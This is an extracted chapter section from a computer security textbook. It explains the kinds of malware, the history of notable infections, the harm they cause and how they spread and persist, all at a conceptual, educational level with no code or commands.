Because viruses are insidious, we cannot assume that a clean program yesterday is still clean today. Moreover, a good program can be modified to include a copy of the virus program, so the infected good program itself begins to act as a virus, infecting other programs. The infection usually spreads at a geometric rate, eventu- ally overtaking an entire computing system and spreading to other con- nected systems.

A virus can be either transient or resident. A transient virus has a life span that depends on the life of its host; the virus runs when the program to which it is attached executes, and it terminates when the attached program ends. (During its execution, the transient virus may spread its infection to other programs.) A resident virus locates itself in memory; it can then remain active or be activated as a stand-alone program, even after its attached program ends.

The terms worm and virus are often used interchangeably, but they actually refer to different things. A worm is a program that spreads copies of itself through a network. (John Shoch and Jon Hupp [SHO82] are apparently the first to describe a worm, which, interestingly, was created for nonmalicious purposes. Researchers at the Xerox Palo Alto Research Center, Shoch and Hupp wrote the first program as an experiment in distributed computing.) The primary difference between a worm and a virus is that a worm operates through networks, and a virus can spread through any medium (but usually uses a copied program or data files). Additionally, the worm spreads copies of itself as a stand-alone program, whereas the virus spreads copies of itself as a program that attaches to or embeds in other programs.

Spreading copies of yourself seems boring and perhaps narcissistic. But worms do have a common, useful purpose. How big is the Internet? What addresses are in use? Worm programs, sometimes called “crawlers” seek out machines on which they can install small pieces of code to gather such data. The code items report back to collection points, telling what connectivity they have found. As we describe in Chapter 6, this kind of reconnaissance can also have a negative security purpose; the worms that travel and collect data do not have to be evil.

As a slightly different example of this type of worm, consider how search engines know about all the pages on the web. A bot (short for robot), is a kind of worm used in vast numbers by search engine hosts like Bing and Google. Armies of these agents run on any computers on which they can install themselves. Their purpose is to scan accessible web content continuously and report back to their controller any new content they have found. In this way, the agents find pages that their controllers then catalog, enabling the search engines to return these results in response to individuals’ que- ries. Thus, when you post a new web page (or modify an old one) with results of your research on why people like peanut butter, a crawler soon notices that page and informs its controller of the contents and whereabouts of your new page.

Virus: code with malicious purpose; intended to spread

Worm: program that spreads copies of itself through a network

Section 3.2 Malicious Code—Malware 169

A Trojan horse is malicious code that, in addition to its primary effect, has a sec- ond, nonobvious, malicious effect. The name is derived from a reference to the Trojan war. Legends tell how the Greeks tricked the Trojans by leaving a great wooden horse outside the Trojans’ defensive wall. The Trojans, thinking the horse a gift, took it inside and gave it pride of place. But unknown to the naïve Trojans, the wooden horse was filled with the bravest of Greek soldiers. In the night, the Greek soldiers descended from the horse, opened the gates, and signaled their troops that the way in was now clear to capture Troy. In the same way, Trojan horse malware slips inside a program undetected and produces unwelcome effects later on.

As an example of a computer Trojan horse, consider a login script that solicits a user’s identification and password, passes the identification information on to the rest of the system for login processing, but also retains a copy of the information for later, malicious use. In this example, the user sees only the login occurring as expected, so there is no reason to suspect that any other, unwelcome action took place.

To remember the differences among these three types of malware, understand that a Trojan horse is on the surface a useful program with extra, undocumented (malicious) features. It does not necessarily try to propagate. By contrast, a virus is a malicious pro- gram that attempts to spread to other computers, as well as perhaps performing unpleas- ant action on its current host. The virus does not necessarily spread by using a network’s properties; it can be spread instead by traveling on a document transferred by a portable device (that memory stick you just inserted in your laptop!) or triggered to spread to other, similar file types when a file is opened. However, a worm requires a network for its attempts to spread itself elsewhere.

Beyond this basic terminology, there is much similarity in types of malicious code. Many other types of malicious code are shown in Table 3-2. As you can see, types of malware differ widely in their operation, transmission, and objective. Any of these terms is used popularly to describe malware, and you will encounter imprecise and overlapping definitions. Indeed, people sometimes use virus as a convenient general term for malicious code. Again, let us remind you that nomenclature is not critical; impact and effect are. Battling over whether something is a virus or worm is beside the point; instead, we concentrate on understanding the mechanisms by which malware perpetrates its evil.

In this chapter we explore viruses in particular, because their ability to replicate and cause harm gives us insight into two aspects of malicious code. Throughout the rest of this chapter we may also use the general term malware for any type of malicious code. You should recognize that, although we are interested primarily in the malicious aspects of these code forms so that we can recognize and address them, not all activities listed here are always malicious.

Every month the security firm Kaspersky reports the top 20 infections detected on users’ computers by its products. (See In April

Trojan horse: program with benign apparent effect but second, hidden, malicious effect

170 Chapter 3 Programs and Programming

2014, for example, there were eight adware attacks (ads offering useless or malicious programs for sale), and nine Trojan horses or Trojan horse transmitters in the top 20, and two exploit script attacks, which we also describe in this chapter. But the top attack type, comprising 81.73 percent of attacks, was malicious URLs, described in the next chapter. A different measure counts the number of pieces of malicious code Kasper- sky products found on protected computers (that is, malware not blocked by Kasper- sky’s email and Internet activity screens). Among the top 20 types of malware were five

TABLE 3-2 Types of Malicious Code

Code Type Characteristics

Virus Code that causes malicious behavior and propagates copies of itself to other programs

Trojan horse Code that contains unexpected, undocumented, additional functionality

Worm Code that propagates copies of itself through a network; impact is usually degraded performance

Rabbit Code that replicates itself without limit to exhaust resources

Logic bomb Code that triggers action when a predetermined condition occurs

Time bomb Code that triggers action when a predetermined time occurs

Dropper Transfer agent code only to drop other malicious code, such as virus or Trojan horse

Hostile mobile code agent Code communicated semi-autonomously by programs transmitted through the web

Script attack, JavaScript, Active code attack

Malicious code communicated in JavaScript, ActiveX, or another scripting language, downloaded as part of displaying a web page

RAT (remote access Trojan) Trojan horse that, once planted, gives access from remote location

Spyware Program that intercepts and covertly communicates data on the user or the user’s activity

Bot Semi-autonomous agent, under control of a (usually remote) controller or “herder”; not necessarily malicious

Zombie Code or entire computer under control of a (usually remote) program

Browser hijacker Code that changes browser settings, disallows access to certain sites, or redirects browser to others

Rootkit Code installed in “root” or most privileged section of operating system; hard to detect

Trapdoor or backdoor Code feature that allows unauthorized access to a machine or program; bypasses normal access control and authentication

Tool or toolkit Program containing a set of tests for vulnerabilities; not dangerous itself, but each successful test identifies a vulnerable host that can be attacked

Scareware Not code; false warning of malicious code attack

Section 3.2 Malicious Code—Malware 171

Trojan horses, one Trojan horse transmitter, eight varieties of adware, two viruses, two worms, and one JavaScript attack. So all attack types are important, and, as Sidebar 3-5 illustrates, general malicious code has a significant impact on computing.

We preface our discussion of the details of these types of malware with a brief report on the long history of malicious code. Over time, malicious code types have evolved as the mode of computing itself has changed from multiuser mainframes to single-user personal computers to networked systems to the Internet. From this background you will be able to understand not only where today’s malicious code came from but also how it might evolve.

History of Malicious Code

The popular literature and press continue to highlight the effects of malicious code as if it were a relatively recent phenomenon. It is not. Fred Cohen [COH87] is sometimes

SIDEBAR 3-5 The Real Impact of Malware

Measuring the real impact of malware, especially in financial terms, is challenging if not impossible. Organizations are loath to report breaches except when required by law, for fear of damage to reputation, credit rating, and more. Many surveys report number of incidents, financial impact, and types of attacks, but by and large they are convenience surveys that do not necessarily represent the real situation. Shari Lawrence Pfleeger [PFL08], Rachel Rue [RUE09], and Ian Cook [COO10] describe in more detail why these reports are interesting but not necessarily trustworthy.

For the last several years, Verizon has been studying breaches expe- rienced by many customers willing to collaborate and provide data; the Verizon reports are among the few credible and comparable studies avail- able today. Although you should remember that the results are particular to the type of customer Verizon supports, the results are nonetheless interest- ing for illustrating that malware has had severe impacts in a wide variety of situations.

The 2014 Verizon Breach Report [VER14] shows that, from 2010 to 2013, the percentage of data breaches motivated by financial gain fell from about 90 percent to 55 percent, while the number of breaches for purpose of espionage rose from near zero percent to almost 25 percent. Although the figures show some swings from year to year, the overall trend is down- ward for financial gain and upward for espionage. (Verizon acknowledges part of the increase is no doubt due to more comprehensive reporting from a larger number of its reporting partners; thus the data may reflect better data collection from more sources.)

Do not be misled, however. Espionage certainly has a financial aspect as well. The cost of a data breach at a point of sale (fraud at the checkout desk) is much easier to calculate than the value of an invention or a pricing strategy. Knowing these things, however, can help a competitor win sales away from the target of the espionage.

172 Chapter 3 Programs and Programming

credited with the discovery of viruses, but Cohen only gave a name to a phenome- non known long before. For example, Shoch and Hupp [SHO82] published a paper on worms, and Ken Thompson, in his 1984 Turing Award lecture, “Reflections on Trusting Trust” [THO84], described malicious code that can be passed by a compiler. In that lecture, he refers to an earlier Air Force document, the Multics security evaluation by Paul Karger and Roger Schell [KAR74, KAR02]. In fact, references to malicious code go back at least to 1970. Willis Ware’s 1970 study (publicly released in 1979 [WAR70]) and James P. Anderson’s planning study for the U.S. Air Force [AND72] still, decades later, accurately describe threats, vulnerabilities, and program security flaws, especially intentional ones.

Perhaps the progenitor of today’s malicious code is the game Darwin, developed by Vic Vyssotsky, Doug McIlroy, and Robert Morris of AT&T Bell Labs in 1962 (described in [ALE72]). This program was not necessarily malicious but it certainly was malevolent: It represented a battle among computer programs, the objective of which was to kill opponents’ pro- grams. The battling programs had a number of interesting properties, including the ability to reproduce and propagate, as well as hide to evade detection and extermination, all of which sound like properties of current malicious code.

Through the 1980s and early 1990s, malicious code was communicated largely person-to-person by means of infected media (such as removable disks) or documents (such as macros attached to documents and spreadsheets) transmitted through email. The principal exception to individual communication was the Morris worm [ROC89, SPA89, ORM03], which spread through the young and small Internet, then known as the ARPANET. (We discuss the Morris worm in more detail later in this chapter.)

During the late 1990s, as the Internet exploded in popularity, so too did its use for communicating malicious code. Network transmission became widespread, leading to Melissa (1999), ILoveYou (2000), and Code Red and NIMDA (2001), all programs that infected hundreds of thousands—and possibly millions—of systems.

Malware continues to become more sophisticated. For example, one characteristic of Code Red, its successors SoBig and Slammer (2003), as well as most other malware that followed, was exploitation of known system vulnerabilities, for which patches had long been distributed but for which system owners had failed to apply the protective patches. In 2012 security firm Solutionary looked at 26 popular toolkits used by hack- ers and found that 58 percent of vulnerabilities exploited were over two years old, with some dating back to 2004.

A more recent phenomenon is called a zero-day attack, mean- ing use of malware that exploits a previously unknown vulnerability or a known vulnerability for which no countermeasure has yet been

Malicious code dates certainly to the 1970s, and likely earlier. Its growth has been explosive, but it is certainly not a recent phenomenon.

Zero day attack: Active malware exploiting a product vulnerability for which the manufacturer has no countermeasure available.

Section 3.2 Malicious Code—Malware 173

distributed. The moniker refers to the number of days (zero) during which a known vul- nerability has gone without being exploited. The exploit window is diminishing rapidly, as shown in Sidebar 3-6.

SIDEBAR 3-6 Rapidly Approaching Zero

Y2K or the year 2000 problem, when dire consequences were forecast for computer clocks with 2-digit year fields that would turn from 99 to 00, was an ideal problem: The threat was easy to define, time of impact was easily predicted, and plenty of advance warning was given. Perhaps as a conse- quence, very few computer systems and people experienced significant harm early in the morning of 1 January 2000. Another countdown clock has computer security researchers much more concerned.

The time between general knowledge of a product vulnerability and appearance of code to exploit that vulnerability is shrinking. The general exploit timeline follows this sequence:

• An attacker discovers a previously unknown vulnerability. • The manufacturer becomes aware of the vulnerability. • Someone develops code (called proof of concept) to demonstrate the

vulnerability in a controlled setting. • The manufacturer develops and distributes a patch or workaround

that counters the vulnerability. • Users implement the control. • Someone extends the proof of concept, or the original vulnerability

definition, to an actual attack.

As long as users receive and implement the control before the actual attack, no harm occurs. An attack before availability of the control is called a zero-day exploit. Time between proof of concept and actual attack has been shrinking. Code Red, one of the most virulent pieces of malicious code, in 2001 exploited vulnerabilities for which the patches had been distributed more than a month before the attack. But more recently, the time between vulnerability and exploit has steadily declined. On 18 August 2005, Microsoft issued a security advisory to address a vulnerability of which the proof of concept code was posted to the French SIRT (Security Incident Response Team) web site A Microsoft patch was distrib- uted a week later. On 27 December 2005, a vulnerability was discovered in Windows metafile (.WMF) files. Within hours hundreds of sites began to exploit the vulnerability to distribute malicious code, and within six days a malicious code toolkit appeared, by which anyone could easily create an exploit. Microsoft released a patch in nine days.

Security firm Symantec in its Global Internet Security Threat Report [SYM14b] found 23 zero-day vulnerabilities in 2013, an increase from 14 the previous year and 8 for 2011. Although these seem like small numbers the important observation is the upward trend and the rate of increase. Also,


174 Chapter 3 Programs and Programming

Today’s malware often stays dormant until needed, or until it targets specific types of software to debilitate some larger (sometimes hardware) system. For instance, Con- ficker (2008) is a general name for an infection that leaves its targets under the control of a master agent. The effect of the infection is not immediate; the malware is latent until the master agent causes the infected agents to download specific code and perform a group attack.

For example, Stuxnet (2010) received a great deal of media coverage in 2010. A very sophisticated piece of code, Stuxnet exploits a vulnerability in Siemens’ industrial con- trol systems software. This type of software is especially popular for use in supervisory control and data acquisition (SCADA) systems, which control processes in chemical manufacturing, oil refining and distribution, and nuclear power plants—all processes whose failure can have catastrophic consequences. Table 3-3 gives a timeline of some of the more notable malicious code infections.

With this historical background we now explore more generally the many types of malicious code.

software under such attack is executed by millions of users in thousands of applications. Because a zero-day attack is a surprise to the maintenance staff of the affected software, the vulnerability remains exposed until the staff can find a repair. Symantec reports vendors take an average of four days to prepare and distribute a patch for the top five zero-day attacks; users will actually apply the patch at some even later time.

But what exactly is a zero-day exploit? It depends on who is count- ing. If the vendor knows of the vulnerability but has not yet released a con- trol, does that count as zero day, or does the exploit have to surprise the vendor? David Litchfield of Next Generation Software in the U.K. identified vulnerabilities and informed Oracle. He claims Oracle took an astonishing 800 days to fix two of them and others were not fixed for 650 days. Other customers are disturbed by the slow patch cycle—Oracle released no patches between January 2005 and March 2006 [GRE06]. Distressed by the lack of response, Litchfield finally went public with the vulnerabilities to force Oracle to improve its customer support. Obviously, there is no way to determine if a flaw is known only to the security community or to attackers as well unless an attack occurs.

Shrinking time between knowledge of vulnerability and exploit puts pressure on vendors and users both, and time pressure is not conducive to good software development or system management.

The worse problem cannot be controlled: vulnerabilities known to attackers but not to the security community.

SIDEBAR 3-6 Continued

Malware doesn’t attack just individual users and single computers. Major applications and industries are also at risk.

Section 3.2 Malicious Code—Malware 175

TABLE 3-3 Notable Malicious Code Infections

Year Name Characteristics

1982 Elk Cloner First virus; targets Apple II computers

1985 Brain First virus to attack IBM PC

1988 Morris worm Allegedly accidental infection disabled large portion of the ARPANET, precursor to today’s Internet

1989 Ghostballs First multipartite (has more than one executable piece) virus

1990 Chameleon First polymorphic (changes form to avoid detection) virus

1995 Concept First virus spread via Microsoft Word document macro

1998 Back Orifice Tool allows remote execution and monitoring of infected computer

1999 Melissa Virus spreads through email address book

2000 IloveYou Worm propagates by email containing malicious script. Retrieves victim’s address book to expand infection. Estimated 50 million computers affected.

2000 Timofonica First virus targeting mobile phones (through SMS text messaging)

2001 Code Red Virus propagates from 1st to 20th of month, attacks web site from 20th to 28th, rests until end of month, and restarts at beginning of next month; resides only in memory, making it undetected by file-searching antivirus products

2001 Code Red II Like Code Red, but also installing code to permit remote access to compromised machines

2001 Nimda Exploits known vulnerabilities; reported to have spread through 2 million machines in a 24-hour period

2003 Slammer worm Attacks SQL database servers; has unintended denial-of-service impact due to massive amount of traffic it generates

2003 SoBig worm Propagates by sending itself to all email addresses it finds; can fake From: field; can retrieve stored passwords

2004 MyDoom worm Mass-mailing worm with remote-access capability

2004 Bagle or Beagle worm

Gathers email addresses to be used for subsequent spam mailings; SoBig, MyDoom, and Bagle seemed to enter a war to determine who could capture the most email addresses

2008 Rustock.C Spam bot and rootkit virus

2008 Conficker Virus believed to have infected as many as 10 million machines; has gone through five major code versions

2010 Stuxnet Worm attacks SCADA automated processing systems; zero-day attack

2011 Duqu Believed to be variant on Stuxnet

2013 CryptoLocker Ransomware Trojan that encrypts victim’s data storage and demands a ransom for the decryption key

176 Chapter 3 Programs and Programming

Technical Details: Malicious Code

The number of strains of malicious code is unknown. According to a testing service [AVC10], malicious code detectors (such as familiar antivirus tools) that look for mal- ware “signatures” cover over 1 million definitions, although because of mutation, one strain may involve several definitions. Infection vectors include operating systems, document applications (primarily word processors and spreadsheets), media players, browsers, document-rendering engines (such as Adobe PDF reader) and photo-editing programs. Transmission media include documents, photographs, and music files, on networks, disks, flash media (such as USB memory devices), and even digital photo frames. Infections involving other programmable devices with embedded computers, such as mobile phones, automobiles, digital video recorders, and cash registers, are becoming targets for malicious code.

In this section we explore four aspects of malicious code infections:

• harm—how they affect users and systems

• transmission and propagation—how they are transmitted and replicate, and how they cause further transmission

• activation—how they gain control and install themselves so that they can reactivate

• stealth—how they hide to avoid detection

We begin our study of malware by looking at some aspects of harm caused by mali- cious code.

Harm from Malicious Code

Viruses and other malicious code can cause essentially unlimited harm. Because mal- ware runs under the authority of the user, it can do anything the user can do. In this section we give some examples of harm malware can cause. Some examples are trivial, more in the vein of a comical prank. But other examples are deadly serious with obvi- ous critical consequences.

We can divide the payload from malicious code into three categories:

• Nondestructive. Examples of behavior are sending a funny message or flashing an image on the screen, often simply to show the author’s capability. This cat- egory would also include virus hoaxes, messages falsely warning of a piece of malicious code, apparently to cause receivers to panic and forward the message to contacts, thus spreading the panic.

• Destructive. This type of code corrupts files, deletes files, damages software, or executes commands to cause hardware stress or breakage with no apparent motive other than to harm the recipient.

• Commercial or criminal intent. An infection of this type tries to take over the recipient’s computer, installing code to allow a remote agent to cause the com- puter to perform actions on the agent’s signal or to forward sensitive data to the agent. Examples of actions include collecting personal data, for example, login credentials to a banking web site, collecting proprietary data, such as corporate

Section 3.2 Malicious Code—Malware 177

plans (as was reported for an infection of computers of five petroleum industry companies in February 2011), or serving as a compromised agent for sending spam email or mounting a denial-of-service attack, as described in Chapter 6.

As we point out in Chapter 1, without our knowing the mind of the attacker, motive can be hard to determine. However, this third category has an obvious commercial motive. Organized crime has taken an interest in using malicious code to raise money [WIL01, BRA06, MEN10].

Harm to Users Most malicious code harm occurs to the infected computer’s data. Here are some real- world examples of malice.

• Hiding the cursor.

• Displaying text or an image on the screen.

• Opening a browser window to web sites related to current activity (for example, opening an airline web page when the current site is a foreign city’s tourist board).

• Sending email to some or all entries in the user’s contacts or alias list. Note that the email would be delivered as having come from the user, leading the recipi- ent to think it authentic. The Melissa virus did this, sending copies of itself as an attachment that unsuspecting recipients would open, which then infected the recipients and allowed the infection to spread to their contacts.

• Opening text documents and changing some instances of “is” to “is not,” and vice versa. Thus, “Raul is my friend” becomes “Raul is not my friend.” The malware changed only a few instances in random locations, so the change would not be readily apparent. Imagine the effect these changes would have on a term paper, proposal, contract, or news story.

• Deleting all files. The Jerusalem virus did this every Friday that was a 13th day of the month.

• Modifying system program files. Many strains of malware do this to ensure subsequent reactivation and avoid detection.

• Modifying system information, such as the Windows registry (the table of all critical system information).

• Stealing and forwarding sensitive information such as passwords and login details.

In addition to these direct forms of harm, the user can be harmed indirectly. For example, a company’s public image can be harmed if the company’s web site is hijacked to spread malicious code. Or if the attack makes some web files or functions unavail- able, people may switch to a competitor’s site permanently (or until the competitor’s site is attacked).

Although the user is most directly harmed by malware, there is secondary harm as the user tries to clean up a system after infection. Next we consider the impact on the user’s system.

178 Chapter 3 Programs and Programming

Harm to the User’s System Malware writers usually intend that their code persist, so they write the code in a way that resists attempts to eradicate it. Few writers are so obvious as to plant a file named “malware” at the top-level directory of a user’s disk. Here are some maneuvers by which malware writers conceal their infection; these techniques also complicate detec- tion and eradication.

• Hide the file in a lower-level directory, often a subdirectory created or used by another legitimate program. For example, the Windows operating system main- tains subdirectories for some installed programs in a folder named “registered packages.” Inside that folder are subfolders with unintelligible names such as {982FB688-E76B-4246-987B-9218318B90A}. Could you tell to what package that directory belongs or what files properly belong there?

• Attach, using the techniques described earlier in this chapter, to a critical system file, especially one that is invoked during system startup (to ensure the malware is reactivated).

• Replace (retaining the name of) a noncritical system file. Some system func- tionality will be lost, but a cursory look at the system files will not highlight any names that do not belong.

• Hide copies of the executable code in more than one location.

• Hide copies of the executable in different locations on different systems so no single eradication procedure can work.

• Modify the system registry so that the malware is always executed or malware detection is disabled.

As these examples show, ridding a system of malware can be difficult because the infection can be in the system area, installed programs, the user’s data or undocumented free space. Copies can move back and forth between memory and a disk drive so that after one location is cleaned, the infection is reinserted from the other location.

For straightforward infections, simply removing the offending file eradicates the problem. Viruses sometimes have a multipartite form, meaning they install themselves in several pieces in distinct locations, sometimes to carry out different objectives. In these cases, if only one piece is removed, the remaining pieces can reconstitute and rein- stall the deleted piece; eradication requires destroying all pieces of the infection. But for more deeply established infections, users may have to erase and reformat an entire disk, and then reinstall the operating system, applications, and user data. (Of course, users can reinstall these things only if they have intact copies from which to begin.)

Thus, the harm to the user is not just in the time and effort of replacing data directly lost or damaged but also in handling the secondary effects to the system and in cleaning up any resulting corruption.

Harm to the World An essential character of most malicious code is its spread to other systems. Except for specifically targeted attacks, malware writers usually want their code to infect many peo- ple, and they employ techniques that enable the infection to spread at a geometric rate.

Section 3.2 Malicious Code—Malware 179

The Morris worm of 1988 infected only 3,000 computers, but those computers con- stituted a significant proportion, perhaps as much as half, of what was then the Internet. The IloveYou worm (transmitted in an email message with the alluring subject line “I Love You”) is estimated to have infected 100,000 servers; the security firm Message Labs estimated that, at the attack’s height, 1 email of every 28 transmitted worldwide was an infection from the worm. Code Red is believed to have affected close to 3 mil- lion hosts. By some estimates, the Conficker worms (several strains) control a network of 1.5 million compromised and unrepaired hosts under the worms’ author’s control [MAR09]. Costs of recovery from major infections like these typically exceed $1 mil- lion US. Thus, computer users and society in general bear a heavy cost for dealing with malware.

Damage Estimates How do you determine the cost or damage of any computer security incident? The prob- lem is similar to the question of determining the cost of a complex disaster such as a building collapse, earthquake, oil spill, or personal injury. Unfortunately, translating harm into money is difficult, in computer security and other domains.

The first step is to enumerate the losses. Some will be tangibles, such as damaged equipment. Other losses include lost or damaged data that must be re-created or repaired, and degradation of service in which it takes an employee twice as long to perform a task. Costs also arise in investigat- ing the extent of damage. (Which programs and data are affected and which archived versions are safe to reload?) Then there are intangibles and unmeasurables such as loss of customers or damage to reputation.

You must determine a fair value for each thing lost. Damaged hardware or software is easy if there is a price to obtain a replacement. For damaged data, you must estimate the cost of staff time to recover, re-create, or repair the data, including the time to deter- mine what is and is not damaged. Loss of customers can be estimated from the differ- ence between number of customers before and after an incident; you can price the loss from the average profit per customer. Harm to reputation is a real loss, but extremely difficult to price fairly. As we saw when exploring risk management, people’s percep- tions of risk affect the way they estimate the impact of an attack. So their estimates will vary for the value of loss of a human’s life or damage to reputation.

Knowing the losses and their approximate cost, you can compute the total cost of an incident. But as you can easily see, determining what to include as losses and valu- ing them fairly can be subjective and imprecise. Subjective and imprecise do not mean invalid; they just indicate significant room for variation. You can understand, therefore, why there can be orders of magnitude differences in damage estimates for recovering from a security incident. For example, estimates of damage from Code Red range from $500 million to $2.6 billion, and one estimate of the damage from Conficker, for which 9 to 15 million systems were repaired (plus 1.5 million not yet cleaned of the infection), was $9.2 billion, or roughly $1,000 per system [DAN09].

Estimating the cost of an incident is hard. That does not mean the cost is zero or insignificant, just hard to determine.

180 Chapter 3 Programs and Programming

Transmission and Propagation

A printed copy of code does nothing and threatens no one. Even executable code sitting on a disk does nothing. What triggers code to start? For malware to do its malicious work and spread itself, it must be executed to be activated. Fortunately for malware writers but unfortunately for the rest of us, there are many ways to ensure that programs will be executed on a running computer.

Setup and Installer Program Transmission Recall the SETUP program that you run to load and install a new program on your com- puter. It may call dozens or hundreds of other programs, some on the distribution medium, some already residing on the computer, some in memory. If any one of these programs contains a virus, the virus code could be activated. Let us see how. Suppose the virus code were in a program on the distribution medium, such as a CD, or downloaded in the installation package; when executed, the virus could install itself on a permanent storage medium (typically, a hard disk) and also in any and all executing programs in memory. Human intervention is necessary to start the process; a human being puts the virus on the distribution medium, and perhaps another person initiates the execution of the program to which the virus is attached. (Execution can occur without human intervention, though, such as when execution is triggered by a date or the passage of a certain amount of time.) After that, no human intervention is needed; the virus can spread by itself.

Attached File A more common means of virus activation is in a file attached to an email message or embedded in a file. In this attack, the virus writer tries to convince the victim (the recipient of the message or file) to open the object. Once the viral object is opened (and thereby executed), the activated virus can do its work. Some modern email handlers, in a drive to “help” the receiver (victim), automatically open attachments as soon as the receiver opens the body of the email message. The virus can be executable code embedded in an executable attachment, but other types of files are equally dangerous. For example, objects such as graphics or photo images can contain code to be executed by an editor, so they can be transmission agents for viruses. In general, forcing users to open files on their own rather than having an application do it automatically is a best practice; programs should not perform potentially security-relevant actions without a user’s consent. However, ease-of-use often trumps security, so programs such as brows- ers, email handlers, and viewers often “helpfully” open files without first asking the user.

Document Viruses A virus type that used to be quite popular is what we call the document virus, which is implemented within a formatted document, such as a written document, a database, a slide presentation, a picture, or a spreadsheet. These documents are highly structured files that contain both data (words or numbers) and commands (such as formulas, formatting controls, links). The commands are part of a rich programming language, including macros, variables and procedures, file accesses, and even system calls. The writer of a document virus uses any of the features of the programming language to perform malicious actions.

Section 3.2 Malicious Code—Malware 181

The ordinary user usually sees only the content of the document (its text or data), so the virus writer simply includes the virus in the commands part of the document, as in the integrated program virus.

Autorun Autorun is a feature of operating systems that causes the automatic execution of code based on name or placement. An early autorun program was the DOS file autoexec.bat, a script file located at the highest directory level of a startup disk. As the system began execution, it would automatically execute autoexec.bat, so a goal of early malicious code writers was to augment or replace autoexec.bat to get the malicious code executed. Similarly, in Unix, files such as .cshrc and .profile are automatically processed at sys- tem startup (depending on version).

In Windows, the registry contains several lists of programs automatically invoked at startup, some readily apparent (in the start menu/programs/startup list) and others more hidden (for example, in the registry key software\windows\current_version\run).

One popular technique for transmitting malware is distribution via flash memory, such as a solid state USB memory stick. People love getting something for free, and handing out infected memory devices is a relatively low cost way to spread an infection. Although the spread has to be done by hand (handing out free drives as advertising at a railway station, for example), the personal touch does add to credibility: We would be suspicious of an attachment from an unknown person, but some people relax their guards for something received by hand from another person.

Propagation Since a virus can be rather small, its code can be “hidden” inside other larger and more complicated programs. Two hundred lines of a virus could be separated into one hundred packets of two lines of code and a jump each; these one hundred packets could be easily hidden inside a compiler, a database manager, a file manager, or some other large utility.

Appended Viruses A program virus attaches itself to a program; then, whenever the program is run, the virus is activated. This kind of attachment is usually easy to design and implement.

In the simplest case, a virus inserts a copy of itself into the executable program file before the first executable instruction. Then, all the virus instructions execute first; after the last virus instruction, control flows naturally to what used to be the first program instruction. Such a situation is shown in Figure 3-19.

This kind of attachment is simple and usually effective. The virus writer need not know anything about the program to which the virus will attach, and often the attached program simply serves as a carrier for the virus. The virus performs its task and then transfers to the original program. Typically, the user is unaware of the effect of the virus if the original program still does all that it used to. Most viruses attach in this manner.

Viruses That Surround a Program An alternative to the attachment is a virus that runs the original program but has con- trol before and after its execution. For example, a virus writer might want to prevent

182 Chapter 3 Programs and Programming

the virus from being detected. If the virus is stored on disk, its presence will be given away by its file name, or its size will affect the amount of space used on the disk. The virus writer might arrange for the virus to attach itself to the program that constructs the listing of files on the disk. If the virus regains control after the listing program has generated the listing but before the listing is displayed or printed, the virus could elimi- nate its entry from the listing and falsify space counts so that it appears not to exist. A surrounding virus is shown in Figure 3-20.

Integrated Viruses and Replacements A third situation occurs when the virus replaces some of its target, integrating itself into the original code of the target. Such a situation is shown in Figure 3-21. Clearly, the virus writer has to know the exact structure of the original program to know where to insert which pieces of the virus.

Finally, the malicious code can replace an entire target, either mimicking the effect of the target or ignoring its expected effect and performing only the virus effect. In this case, the user may perceive the loss of the original program.


Early malware writers used document macros and scripts as the vector for introducing malware into an environment. Correspondingly, users and designers tightened controls on macros and scripts to guard in general against malicious code, so malware writers had to find other means of transferring their code.

Malware now often exploits one or more existing vulnerabilities in a commonly used program. For example, the Code Red worm of 2001 exploited an older buffer over- flow program flaw in Microsoft’s Internet Information Server (IIS), and Conficker.A exploited a flaw involving a specially constructed remote procedure call (RPC) request.

+ =

Original Program

Virus Code

Original Program

Virus Code

FIGURE 3-19 Virus Attachment

Section 3.2 Malicious Code—Malware 183

Original Program

Virus Code

Virus Code Part (a)

Virus Code Part (b)

Original Program

Physically Logically

FIGURE 3-20 Surrounding Virus

Original Program

Virus Code

Modified Program+ =

FIGURE 3-21 Virus Insertion

184 Chapter 3 Programs and Programming

Although the malware writer usu- ally must find a vulnerability and hope the intended victim has not yet applied a protective or corrective patch, each vulnerability represents a new opening for wreaking havoc against all users of a product.

Flaws happen, in spite of the best efforts of development teams. Having discov- ered a flaw, a security researcher—or a commercial software vendor—faces a dilemma: Announce the flaw (for which there may not yet be a patch) and alert malicious code writers of yet another vulnerability to attack, or keep quiet and hope the malicious code writers have not yet discovered the flaw. As Sidebar 3-7 describes, a vendor who cannot release an effective patch will want to limit disclosure. If one attacker finds the vulner- ability, however, word will spread quickly through the underground attackers’ network. Competing objectives make vulnerability disclosure a difficult issue.

SIDEBAR 3-7 Just Keep It a Secret and It’s Not There

In July 2005, security researcher Michael Lynn presented information to the Black Hat security conference. As a researcher for Internet Security Sys- tems (ISS), he had discovered what he considered serious vulnerabilities in the underlying operating system IOS on which Cisco based most of its fire- wall and router products. ISS had made Cisco aware of the vulnerabilities a month before the presentation, and the two companies had been planning a joint talk there but canceled it.

Concerned that users were in jeopardy because the vulnerability could be discovered by attackers, Lynn presented enough details of the vulnerability for users to appreciate its severity. ISS had tried to block Lynn’s presentation or remove technical details, but he resigned from ISS rather than be muzzled. Cisco tried to block the presentation, as well, demand- ing that 20 pages be torn from the conference proceedings. Various sites posted the details of the presentation, lawsuits ensued, and the copies were withdrawn in settlement of the suits. The incident was a public rela- tions fiasco for both Cisco and ISS. (For an overview of the facts of the situ- ation, see Bank [BAN05].)

The issue remains: How far can or should a company go to limit vulner- ability disclosure? On the one hand, a company wants to limit disclosure, while on the other hand users should know of a potential weakness that might affect them. Researchers fear that companies will not act quickly to close vul- nerabilities, thus leaving customers at risk. Regardless of the points, the legal system may not always be the most effective way to address disclosure.

Computer security is not the only domain in which these debates arise. Matt Blaze, a computer security researcher with AT&T Labs, investigated physical locks and master keys [BLA03]; these are locks for structures such as college dormitories and office buildings, in which individuals have keys to single rooms, and a few maintenance or other workers have a single master key that opens all locks. Blaze describes a technique that can find a master

Is it better to disclose a flaw and alert users that they are vulnerable or conceal it until there is a countermeasure? There is no easy answer.

Section 3.2 Malicious Code—Malware 185

When an attacker finds a vulnerability to exploit, the next step is using that vulner- ability to further the attack. Next we consider how malicious code gains control as part of a compromise.

How Malicious Code Gains Control To gain control of processing, malicious code such as a virus (V) has to be invoked instead of the target (T). Essentially, the virus either has to seem to be T, saying effec- tively “I am T,” or the virus has to push T out of the way and become a substitute for T, saying effectively “Call me instead of T.” A more blatant virus can simply say “invoke me [you fool].”

